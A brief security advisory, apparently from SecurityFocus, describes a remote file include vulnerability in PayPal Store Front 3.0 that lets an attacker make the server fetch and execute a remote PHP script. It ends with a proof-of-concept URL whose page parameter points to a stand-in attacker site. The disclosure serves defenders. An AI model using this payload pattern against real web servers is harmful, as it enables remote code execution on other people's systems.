source: http://www.securityfocus.com/bid/8791/info

PayPal Store Front is prone to a remote file include vulnerability. It may be possible for a remote attacker to influence the include path for an external page to point to an attacker-specified location. This could be exploited to include a remote PHP script, which will be executed in the context of the web server hosting the vulnerable PayPal Store Front software.

PayPal Store Front 3.0 has been reported to be vulnerable to this issue, however it is possible that other versions are affected as well. 

http://www.example.com/index.php?do=ext&page=http://www.attacker's_site.com/index